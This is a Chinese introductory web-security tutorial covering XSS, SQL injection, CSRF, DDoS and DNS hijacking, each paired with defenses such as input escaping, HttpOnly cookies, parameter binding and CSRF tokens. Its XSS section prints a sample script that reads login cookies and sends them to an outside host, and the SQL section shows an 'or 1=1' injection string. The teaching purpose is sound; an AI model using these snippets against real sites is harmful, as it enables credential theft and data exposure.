一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
XSS 攻击
- 全称跨站脚本攻击
Cross Site Scripting - 为了与重叠样式表
CSS进行区分,所以换了另一个缩写名称XSS XSS攻击者通过篡改网页,注入恶意的HTML脚本,一般是javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式XSS攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息

- 就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段
javascript脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本 - 当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些
注入脚本,获取你的个人信息,甚至是你的账号密码等信息

- 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的
cookie信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码
// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
- 在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端
php文件中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝xss攻击在网络安全中非常的重要 - 所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行
消毒处理 - 也就是过滤一些特殊的字符,比如
javascript脚本中的<>进行转移<>再进行存储,这样就能有效的进行xss攻击的预防 - 另外如果
cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样也能有效的防止XSS攻击窃取cookie内容

SQL 注入
SQL注入攻击指的是攻击者在HTTP请求中注入恶意SQL命令,服务器用请求参数构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行,以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等敏感的操作,从而导致数据被随意篡改- 但是
SQL注入攻击,需要攻击者对数据库表有所了解才行,比如你的项目开源了,不小心公开了数据库的账号和密码;另外你的网站上线没有关闭调试模式,有心者可以网站的根据错误回显可以猜测表结构;另外还有就是盲注,也即是很多有心者会盲猜数据表结构,但是这种难度最大 SQL注入可以通过预编译手段进行预防,绑定参数是最好的防SQL注入方法。现在流行的框架基本都实现了SQL预编译和参数绑定,恶意攻击的SQL会被当做SQL的参数,而不是SQL命令被执行
# 正常获取用户信息的sql
select * from users where id=1
# sql注入了 1 or 1=1,就可以把用户表中的所有数据全部查出,导致数据泄露
select * from users where id=1 or 1=1

CSRF 攻击
CSRF全称Cross Site Request Forgery,跨站点请求伪造,攻击者通过跨站请求,以合法的用户身份进行非法操作,如转账交易、发表评论等。其核心是利用了浏览器Cookie或服务器的Session策略,盗取用户的身份信息- 在打开
A网站的情况下,另开Tab页面打开恶意网站B,此时在B页面的恶意意图下,浏览器发起一个对网站A的HTTP请求 - 因为之前
A网站已经打开了,浏览器存有A网站中的Cookie或其他用于身份认证的信息,这一次被恶意意图的请求,将会自动带上这些信息,这将会导致身份劫持,造成并非本人意愿的操作结果 - 而对应
CSRF攻击的防御策略有:表单token、验证码、Referer 检测等

DDOS 攻击
DDOS全称Distributed Denial of Service,分布式拒绝服务攻击。是拒绝服务攻击的升级版。拒绝攻击服务其实就是让你的服务不能正常给用户提供服务,也就是俗话说的服务宕机。常用于攻击对外提供服务的服务器,像常见的:Web服务、邮件服务、DNS服务、即时通讯服务这些等- 在早期发起
DoS攻击是一件很容易的事情,只需要写个程序让服务过载,无暇提供正常服务即可,也就是一秒中请求服务多次,将目标服务器的内存跑崩 - 后来随着技术对发展,现在的服务器都是分布式,并不是单一服务器提供服务,一个服务背后拥有着是数不清的
CDN节点,也是就拥有着数不清的Web服务器。想靠单台服务器去攻击这种分布式网络,无异于对方以卵击石,而且现在很多DDOS 攻击都不是免费的,所以很容易造成偷鸡不成蚀把米 - 防御手段:随着技术发展到今天也并不能完全杜绝这种攻击的出现,只能通过技术去缓解。其中包括:
流量清洗、SYN Cookie等等

DNS 劫持
- 当今互联网流量中,以
HTTP/HTTPS为主的Web服务产生的流量占据了绝大部分 Web服务发展的如火如荼,这背后离不开一个默默无闻的大功臣就是域名解析系统,DNS提供将域名转换成ip地址的服务,每一个域名的解析都要经过DNS,所以可以看出它的重要性- 正是因为它的重要性,所以
DNS劫持很容易被别有用心的人利用 - 早期并没有考虑太多的安全性,所以导致
DNS很容易被劫持 - 如果攻击者篡改
DNS解析设置,将域名由正常IP指向由攻击者控制的非法IP,就会导致我们访问域名打开的却不是对应的网站,而是一个假冒或者别有用心的网站。这种攻击手段就是DNS劫持 - 通过
DNS劫持简单点可以导致用户流失,严重的后果甚至惠将用户诱导至攻击者控制额非法网站,可能会造成银行卡号、手机号码、账号密码等重要信息的泄露 - 后来出现了
DNSSEC技术,虽然在一定程度上解决了劫持问题,但是国内并没有太多应用的案例,因此后来阿里、腾讯推出了httpDNS服务也一定程度上可以抑制这种攻击手段 - 另外可以
安装SSL证书。SSL证书具备服务器身份认证功能,可以使DNS 劫持导致的连接错误情况及时被发现和终止

一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持的更多相关文章
- 总结了关于PHP xss 和 SQL 注入的问题(转)
漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何 ...
- Web端即时通讯基础知识补课:一文搞懂跨域的所有问题!
本文原作者: Wizey,作者博客:http://wenshixin.gitee.io,即时通讯网收录时有改动,感谢原作者的无私分享. 1.引言 典型的Web端即时通讯技术应用场景,主要有以下两种形式 ...
- 一文搞懂RAM、ROM、SDRAM、DRAM、DDR、flash等存储介质
一文搞懂RAM.ROM.SDRAM.DRAM.DDR.flash等存储介质 存储介质基本分类:ROM和RAM RAM:随机访问存储器(Random Access Memory),易失性.是与CPU直接 ...
- 基础篇|一文搞懂RNN(循环神经网络)
基础篇|一文搞懂RNN(循环神经网络) https://mp.weixin.qq.com/s/va1gmavl2ZESgnM7biORQg 神经网络基础 神经网络可以当做是能够拟合任意函数的黑盒子,只 ...
- 关于PHP xss 和 SQL 注入的问题
漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,PHP如何有效防止这些漏洞 ...
- 一文搞懂 Prometheus 的直方图
原文链接:一文搞懂 Prometheus 的直方图 Prometheus 中提供了四种指标类型(参考:Prometheus 的指标类型),其中直方图(Histogram)和摘要(Summary)是最复 ...
- 一文搞懂vim复制粘贴
转载自本人独立博客https://liushiming.cn/2020/01/18/copy-and-paste-in-vim/ 概述 复制粘贴是文本编辑最常用的功能,但是在vim中复制粘贴还是有点麻 ...
- 三文搞懂学会Docker容器技术(中)
接着上面一篇:三文搞懂学会Docker容器技术(上) 6,Docker容器 6.1 创建并启动容器 docker run [OPTIONS] IMAGE [COMMAND] [ARG...] --na ...
- 三文搞懂学会Docker容器技术(下)
接着上面一篇:三文搞懂学会Docker容器技术(上) 三文搞懂学会Docker容器技术(中) 7,Docker容器目录挂载 7.1 简介 容器目录挂载: 我们可以在创建容器的时候,将宿主机的目录与容器 ...
随机推荐
- Spring Boot中的微信支付(小程序)
前言 微信支付是企业级项目中经常使用到的功能,作为后端开发人员,完整地掌握该技术是十分有必要的. logo 一.申请流程和步骤 图1-1 注册微信支付账号 获取微信小程序APPID 获取微信商家的商户 ...
- 【Unity Shader学习笔记】Unity基础纹理-渐变纹理
纹理可以用来存储任何表面属性. 可以通过使用渐变纹理来实现插画风格的渲染效果. 这项技术是由Valve公司提出的.Valve使用它来渲染游戏中具有插画风格的角色. 我们使用半兰伯特模型计算漫反射. 因 ...
- AT32F415 修改时钟和晶振方法(原创)
1. 简介 我们几乎是国内第一批使用AT32F415芯片的客户,那个时候芯片还没涨价,岁月一切静好.使用AT32F415 做了几个小产品,也在持续出货.后来大家都知道,涨价缺货愈演愈烈.好在我们提前囤 ...
- 商户编号[Merchant Id]是什么
1. Merchant Id是什么 2. Merchant Id 是有哪几个部分构成的 2.1 收单机构代码 2.2 商户地区代码 2.3 Merchant Category Code(MCC) 本文 ...
- Java使用FreeMarker模版技术动态生成word实践
一.序言 在日常开发中,常常有动态word文件生成的需求,通过编制模版,然后动态修改word内容以组合成新的文件.报告单.请假单.发票页等都可以使用动态生成word来解决. 笔者总结归纳出通用技术要点 ...
- ExtJS 布局-Border 布局(Border layout)
更新记录: 2022年6月11日 发布. 2022年6月1日 开始. 1.说明 边框布局允许根据区域(如中心.北部.南部.西部和东部)指定子部件的位置.还可以调整子组件的大小和折叠. 2.设置布局方法 ...
- 开发工具-PowerShell下载地址
更新日志 2022年6月10日 初始化链接. https://github.com/PowerShell/PowerShell/releases/
- C# 将HTML转为XML
本文以C#及VB.NET后端程序代码示例展示如何将HTML转为XML文件.转换时,调用Word API -Free Spire.Doc for .NET 提供的文档加载方法及文档保存的方法来实现.转换 ...
- SQL注入漏洞篇
一篇SQL注入漏洞汇总,更新中-- 如有缺陷 望大佬指正 SQL注入产生的原因? 当程序执行逻辑时没有对用户输入的参数做过滤处理,使参数直接与后台数据库产生逻辑交互,即SQL注入黑客就可以利用各种SQ ...
- word-制作三线表
找一个表格或插入一个表格, 找到 [设计] [新建表格样式] [将格式应用于: 整个表格] 点击"框线设置"按钮,在弹出的下拉菜单中分别选择 [上框线] 和 [下框线],然后分别设 ...